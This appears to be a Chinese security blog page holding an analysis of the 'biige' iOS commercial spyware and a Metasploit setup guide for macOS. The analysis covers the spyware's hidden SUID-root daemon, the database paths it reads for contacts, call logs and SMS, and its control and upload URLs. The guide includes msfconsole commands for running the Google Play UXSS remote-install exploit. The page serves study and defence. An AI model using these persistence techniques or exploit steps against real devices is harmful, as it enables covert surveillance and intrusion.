2015年5月28日星期四

iOS/Malware(二)biige间谍件分析


一、背景

功能:

二、样本分析

2.1 样本结构

md5: 8160F98496F55B4A409FF01D19AB10CE
(vt无捕获)
原始文件名:com.biige.monitor_1.9.deb
bundle id:com.biige.monitor
(获取cyida程序deb包方式:4.获取cydia安装的deb包)
deb包解开除了deb安装配置文件,就只有一个ipa包,无cydia动态库文件:
ipa包结构:

2.2 deb安装&启动流程

该样本只有preinst和postinst两个deb安装控制文件
 /Applications/BiiGe.app则会直接释放到手机/Applications/BiiGe.app文件夹中

2.2.1 preinst:

安装前执行,为正在被升级的包停止相关服务,直到升级或安装完成。无太多实际作用。

2.2.2 postinst

安装完成后执行,主要用于执行. /Applications/BiiGe.app/Add.sh脚本

2.2.3 Add.sh脚本

1、复制/Applications/BiiGe.app/BiiGe到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5
     chmod 6555 ,-r-sr-sr-x
     s:文件属主和组设置SUID和GUID,文件在被设置了s权限后将以root身份执行,但需要有x权限。
2、复制/Applications/BiiGe.app/Settings.plist到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/Settings.plist.DEFAULT
     chmod 644,-rw-r--r–
3、复制/Applications/BiiGe.app/SettingsLanguage_*.plist到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5文件夹下
     chmod 444,-r--r--r--
4、复制/Applications/BiiGe.app/Event.db到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/Event.db.DEFAULT
     chmod 666,-rw-rw-rw-
5、复制/Applications/BiiGe.app/BiiGe.sh到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5.sh
     chmod 555 ,-r-xr-xr-x
6、复制/Applications/BiiGe.app/Remove.sh到/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/Remove.sh
      chmod 555 ,-r-xr-xr-x     
7、复制/Applications/BiiGe.app/com.biige.BiiGe.Launch.plist到/System/Library/LaunchDaemons/com.biige.BiiGe.Launch.plist
     chmod 444,-r--r--r--
8、launchctl load /System/Library/LaunchDaemons/com.biige.BiiGe.Launch.plist
     用于设置开机加载com.biige.BiiGe.Launch.plist中指定文件,即/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5.sh

2.2.4 开机启动脚本

该脚本为/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5.sh
即/Applications/BiiGe.app/BiiGe.sh
里面只有一条指令:
exec /usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5 daemon
启动/usr/libexec/.7BE54963-4D75-4CC2-B342-7496B668F8A5/7BE54963-4D75-4CC2-B342-7496B668F8A5为守护进程
即/Applications/BiiGe.app/BiiGe文件

2.3 详细分析

2.3.1 动态分析

样本运行要求输入密钥激活,不激活则无法使用
/Applications/BiiGe.app/BiiGe文件已开机启动为守护进程,且以root用户执行:

2.3.2 静态分析

1、获取通讯录

/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb

2、获取通话记录

/var/wireless/Library/CallHistory/call_history.db

3、获取短信记录

/private/var/mobile/Library/SMS/sms.db

4、发送短信

5、获取设备ip

通过访问在线网站获取手机ip
www.whatismyip.com/automation/n09230945.asp

6、获取位置信息

调用CLLocationManager类来获取地理位置
kCLLocationAccurayBest为设备使用电池供电时候最高的精度  
kCLDistanceFilterNone用于设置监控时间间隔

7、设置飞行模式

8、执行指令:

指令大部分都是用于卸载时使用
1、/usr/sbin/sysctl -w security.mac.proc_enforce=0 security.mac.vnode_enforce=0
设置禁用签名检查,不适用于>=iOS 4.3,之后该参数为只读
2、Remove.sh
app文件夹下得Remove.sh脚本,用来删除卸载biige间谍件
3、/usr/bin/uicache
主页重新存取一次,一般用来修复越狱后消失得图标
4、/sbin/reboot
重启系统
5、launchctl submit -l com.biige.BiiGe.Remove -p
将Remove.sh提交为launchctl服务
6、/usr/bin/killall -v BiiGe
结束biige进程

9、关键url

%@皆为需要上传得参数
1、getControlManagementUrl
用于远控管理
https://control.biige.com/SM-E?PV=%@&T=%@
2、getEventManagementUrl
https://event.biige.com/SM-E?PV=%@&T=%@
3、getEventUploadUrl
用于上传事件
https://event.biige.com/SE-A?PV=%@&K=%@&I=%@&E=%@&C=%@&TS=%@&ET=%@&TL=%@&OF=%@
4、getEventUploadArrayUrl
用于上传数据
https://event.biige.com/SE-AAJ?PV=%@&K=%@&I=%@&E=%@&C=%@&G=%@
5、getLicenseManagementUrl
用于license验证
https://license.biige.com/SM-E?PV=%@&T=%@

10、Setting

设置参数保存在Setting.plist和Setting.plist.DEFAULT,主要是系统语言,电话、短信、位置监控开关,监控时间间隔等

11、保存数据

将获取到得数据保存在Event.db.DEFAULT文件,方便用于上传
其db结构如下,admin为上传记录,最后电话、短信捕获时间
其他则是通话、位置、短信记录

2.3.3 小结

该样本为商业间谍,需要激活码激活才能正常使用,越狱后通过cydia安装,开机自启动,定时监控短信、电话、地理位置等信息并上传到服务器,还可以通过远程管理设置监控状态,功能比Android平台版本少很多。

2015年5月18日星期一

metasploit on macOS 安装&使用


0x1 metasploit安装

环境:mac os x 10.10.2
安装的几个步骤:
0×10-从github上克隆Metasploit项目到本地;
0×11-安装postgresql并进行配置;
0×12-安装特定版本的ruby,并解决依赖;(官方推荐2.1.5,速度会快很多)

0×10 从github上克隆Metasploit项目到本地

话说github真是什么都有,很多好的项目在上面都能找到,首先打开终端并输入下列命令,因为10.9.3自带了git,所以就不需要另外安装了
git clone https://github.com/rapid7/metasploit-framework.git /usr/local/share/metasploit-framework
克隆到本地后,将metasploit-framework/config/目录下的配置文件:database.yml 添加到环境变量中(database.yml 也许不存在,直接复制database.yml.example
$HOME/.bash_profile或者其他配置文件中添加下面这条配置
export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml

0×11 安装postgresql并进行配置

metasploit下载完后,不急着去配置,因为metasploit的默认数据库postgresql还没有装上
你可以直接使用brew来下载并自动安装postgresql,可以运行如下命令
brew install postgresql --without-ossp-build
等待自动安装完毕,完成后,初始化postgresql(若出现错误删掉/usr/local/var/postgres,并重试)
initdb /usr/local/var/postgres
初始化完毕后,为metasploit添加数据库用户和创建相应DB
createuser msf -P -h localhost   
createdb -O msf msf -h localhost
上面的步骤完成后,需更改metasploit的数据库连接配置,也就是第一步中的database.yml文件
在database.yml中,将信息修改如下
production:     adapter: postgresql     database: msf     username: msf     password: <your password>     host: 127.0.0.1     port: 5432     pool: 75     timeout: 5
完成后,进入第三步!
(可在$HOST/.bash_profile中自行添加alisa来简便每一次postgresql的启动)
alias pg_start='pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start' 
alias pg_stop='pg_ctl -D /usr/local/var/postgres stop'

0×12 安装特定版本的ruby,并解决依赖

说到ruby的多版本管理,这里就要用最给力的工具了rbenv(可以在github上找到,也可以使用brew直接安装)
brew install 
rbenv ruby-build
rbenv安装完成后,在$HOST/.bash_profile或其他配置文件中添加如下设置
eval "$(rbenv init -)"
下面就可以通过rbenv来安装特定版本的ruby了,首先列出当前可用的ruby版本
rbenv install --list
可以看到几乎所有的ruby版本都有,这里我们选择安装ruby-1.9.3-p547(因为OS X 10.9.3 自带的ruby为2.0.0版本,在某些地方会产生问题)
rbenv install 1.9.3-p547
这里可能会等一会儿,rbenv会将各个版本的ruby安装在$HOST/.rbenv/versions/下,完成后,将下载的版本设置为系统默认
rbenv rehash 
rbenv global 1.9.3-p547
完成后,重新打开终端,输入ruby –version就可以看到当前默认的ruby版本已经设置成为1.9.3-p547
下面安装bundle来解决依赖问题
gem install bundle
安装的时候,可能会出连接问题,多试几次即可
bundle安装完毕后,再次进入metasploit的主目录解决模块包的依赖
cd /usr/local/share/metasploit-framework 
rbenv rehash 
bundle install
(在bundle install的过程中,可能会出现某一个特定版本的模块安装失败的问题,解决方法:根据GemFiles里的版本限制,自行使用gem安装替代版本,完成后,删掉GemFiles.lock,重新运行bundle install)
依赖解决后,即可运行目录下的msfconsole启动metasploit终端控制器(已启动postgresql,不然会连不上数据库)
可以将msf命令批量ln到bin下
for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done
下面是完成后的截图

0x2 GooglePlay远程代码执行漏洞exploit

漏洞:
Google Play商店安卓远程代码执行漏洞
由于Google Play 商店网络应用域缺乏对X-Frame-Options (XFO)的完整覆盖,导致恶意用户可利用Google Play Store网络应用中特定区域的XSS漏洞或者针对受影响浏览器的UXSS漏洞,远程安装并启动任意Play Store提供的APK
一个X-Frame-Options(XFO)漏洞结合一个最近的安卓WebView(Jelly Bean)漏洞,就可以创造出一种新的攻击方式——通过该方式黑客可以利用google play商店悄无声息地向受害者的安卓设备安装任何恶意APP,即使没有征得用户允许。
exp代码:
该exp攻击原理是搭建一个精心构造的web页面,当含有UXSS漏洞的浏览器访问时即触发漏洞,导致安装demo APK文件。
影响设备<=4.3,and 必须要有google play商店
metasploit基本使用方式
msfconsole控制台模式:
1、寻找对应漏洞exp
search android,第一个就是GooglePlay远程代码执行漏洞exp
2、选择漏洞exp
use auxiliary/admin/android/google_play_store_uxss_xframe_rce
3、设置攻击载荷,即选择本机能使用的平台和攻击方式
show payloads,查看exp兼容的攻击载荷:
选项比较多,但这里选则os x command shell,bind tcp stager
set payload osx/armle/shell_bind_tcp ,设置攻击载荷
3、设置配置参数
show options,显示配置参数,从中可以看到demo APKcom.swlkr.rickrolld
需要配置的参数只有一个SRVHOST,即一个可供设备访问的ip
通过set SRVHOST 192.168.X.X即可完成
4、exploit,实施攻击
exploit执行后会构造一个URL
含漏洞设备访问该URL即触发漏洞,192.168.0.3既是设备访问记录
(测试设备不满足漏洞所有条件,故漏洞测试未成功)

CVE/CNVD list

报告记录&poc: 最近fuzz出了不少crash,提交记录git: https://github.com/gandalf4a/crash_report 其中CVE记录如下: (不定期持续更新) 2025 CVE-2025-22134:heap-buffer-o...